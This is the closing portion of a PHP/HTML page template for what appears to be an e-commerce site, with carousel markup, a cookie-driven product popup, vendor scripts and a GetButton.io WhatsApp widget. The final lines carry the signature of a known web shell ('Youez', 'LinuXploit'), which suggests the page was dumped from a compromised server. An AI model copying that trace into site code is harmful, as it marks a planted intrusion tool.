            <a class="carousel-control-next ___right_Com" href="#carouselExampleIndicators" role="button" data-slide="next" style="">
              <span class="carousel-control-next-icon text-danger" aria-hidden="true"></span>
              <span class="sr-only">Next</span>
            </a>
         </div>
        </div>
      </div>
   </div>
</div>
<?php if($_COOKIE['interested_product']!=""){ ?>
<script>
   $("#exampleModal_3").modal('show');
</script>
<?php } ?>
<?php 
  /*==== Update Cookie For Most visited product Popup ====*/
  setcookie('most_visited', 1 , time()+86400);
?>
<?php } ?>
<!-- ========================================================== -->
</div>
</div>
</div>
</div>

    <style>
        @media(max-width:768px){
            .pan_india .modal-dialog .modal-body {
            padding: 8px 15px;
        }
        .modal-header{
            padding:5px 1rem;
        }
        }
        .pan_india .visited___Modal {
            max-width: 800px!important;
            margin: auto!important;
            padding-top: 0rem!important;
        }
        .__MyText h6{
                overflow: hidden;
    text-overflow: ellipsis;
    white-space: nowrap;
        }
        #gb-widget-1569
        {
            bottom:50px !important;
        }
    </style>


<!--====== Vendors js ======-->

<script src="<?=BASE_URL?>assets/js/vendor/modernizr-3.7.1.min.js"></script>
<script src="<?=BASE_URL?>assets/js/plugins.min.js"></script>
<script src="<?=BASE_URL?>assets/js/jitu.js"></script>
<script src="<?=BASE_URL?>assets/js/temp_cart.js"></script>
<script src="<?=BASE_URL?>assets/js/notify.js"></script>
<!-- GetButton.io widget -->
<script type="text/javascript">
   (function () {
       var options = {
           whatsapp: "+919990666555", // WhatsApp number
           call: "+919990666555", // Call phone number
           call_to_action: "Message us", // Call to action
           button_color: "#FF6550", // Color of button
           position: "left", // Position may be 'right' or 'left'
           order: "whatsapp,call", // Order of buttons
       };
       var proto = document.location.protocol, host = "getbutton.io", url = proto + "//static." + host;
       var s = document.createElement('script'); s.type = 'text/javascript'; s.async = true; s.src = url + '/widget-send-button/js/init.js';
       s.onload = function () { WhWidgetSendButton.init(host, proto, options); };
       var x = document.getElementsByTagName('script')[0]; x.parentNode.insertBefore(s, x);
   })();
</script>
<!-- /GetButton.io widget -->
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit